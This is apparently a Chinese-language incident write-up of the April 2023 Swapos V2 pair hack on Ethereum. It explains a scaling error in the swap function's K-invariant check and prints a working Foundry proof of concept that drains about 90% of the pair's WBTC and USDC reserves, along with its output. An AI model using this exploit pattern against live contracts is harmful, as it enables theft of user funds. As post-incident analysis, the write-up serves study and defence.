2023年4月19日,
ETH
链上的
Swapos
遭受了攻击,损失高达
468K
美元。
攻击介绍
2023年4月19日,@BeosinAlert
发出警告,Ethereum
链上的SwaposV2Pair
遭受攻击,造成$467,192
损失,其中的一个攻击哈希为0x78edc292af51a93f89ac201a742bce9fa9c5d9a7007f034aa30535e35082d50a
。
攻击分析
使用phalcon进行分析,攻击从流程上看很简单,那就是调用SWP-V2
的swap
函数,一般来说我们都是与router
进行交互,除非在swap
中有余额方面的漏洞(上一个001-OLIFE也利用了类似的漏洞)。
漏洞在这里:
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'SwaposV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(10));
uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(10));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'SwaposV2: K');
}
因为balance0Adjusted
和balance1Adjusted
都是乘了10000
,而最后只是mul(1000*2)
,中间差了100倍!
我们不传入,所以_reserve0 - amount0Out = 0
,所以balance0Adjusted = balance0
,所以我们只要满足balance0Adjusted * 10 >= _reserve0
,同时因为有require(amount0In > 0 || amount1In > 0, 'SwaposV2: INSUFFICIENT_INPUT_AMOUNT');
,我们可以手动转账1单位以绕过限制。
POC
攻击POC如下:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : ~ 486K US$
// Event : Swapos Hack
// Analysis via https://explorer.phalcon.xyz/tx/eth/0x78edc292af51a93f89ac201a742bce9fa9c5d9a7007f034aa30535e35082d50a
// Attacker : 0x53fc4a4a638378b9b81393fbe0fa9a6de2323ebd
// Attack Contract : 0x2df07c054138bf29348f35a12a22550230bd1405
// Vulnerable Contract : 0xf40593a22398c277237266a81212f7d41023b630 (Pancake Swap Contract)
// Attack Tx : https://etherscan.io/tx/0x78edc292af51a93f89ac201a742bce9fa9c5d9a7007f034aa30535e35082d50a
// @Info
// Price manipulation, Vulnerability Exploit
// @Analysis
// DefiHackLab : https://twitter.com/BeosinAlert/status/1647552192243728385
address constant SWAP_ADDRESS = 0xf40593A22398c277237266A81212f7D41023b630;
address constant WBTC_ADDRESS = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
address constant USDC_ADDRESS = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
uint256 constant USDC_DECIMALS = 6;
uint256 constant WBTC_DECIMALS = 8;
contract Swapos is Test { // EOA Simulation
function setUp() public {
vm.createSelectFork("mainnet",17057442); // Go back before hacking time
console.log("start with block %d",17057442);
console.log("Attacker address %s",address(this));
}
function testExploit() public {
console.log("start hacking...");
emit log_named_decimal_uint("[Start] Attacker WBTC Balance", IERC20(WBTC_ADDRESS).balanceOf(address(this)), WBTC_DECIMALS);
emit log_named_decimal_uint("[Start] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), USDC_DECIMALS);
Exploit exploit = new Exploit();
exploit.attack();
console.log("End hacking...");
emit log_named_decimal_uint("[End] Attacker WBTC Balance", IERC20(WBTC_ADDRESS).balanceOf(address(this)), WBTC_DECIMALS);
emit log_named_decimal_uint("[End] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), USDC_DECIMALS);
}
}
contract Exploit is Test{
address owner;
constructor() public{
owner = msg.sender;
}
function attack() public {
deal(USDC_ADDRESS, address(this), 1);
IUniswapV2Pair pair = IUniswapV2Pair(SWAP_ADDRESS);
(uint256 amount0, uint256 amount1,) = pair.getReserves();
IERC20(USDC_ADDRESS).transfer(SWAP_ADDRESS,1);
pair.swap(amount0/10 * 9, amount1/10 * 9,owner,"");
}
}
输出如下:
[PASS] testExploit() (gas: 2527934)
Logs:
start with block 17057442
Attacker address 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
start hacking...
[Start] Attacker WBTC Balance: 0.00000000
[Start] Attacker USDC Balance: 0.000000
End hacking...
[End] Attacker WBTC Balance: 1.42229691
[End] Attacker USDC Balance: 43099.909083
总结
说实话不知道该怎么说,这种问题能出现所有人都有责任。。
我看了下地址0x78520513e30ce6Beba2f2e393ae581f3d77db993
,其所创建的合约都在攻击发生20个区块后,迅速撤出了流动性。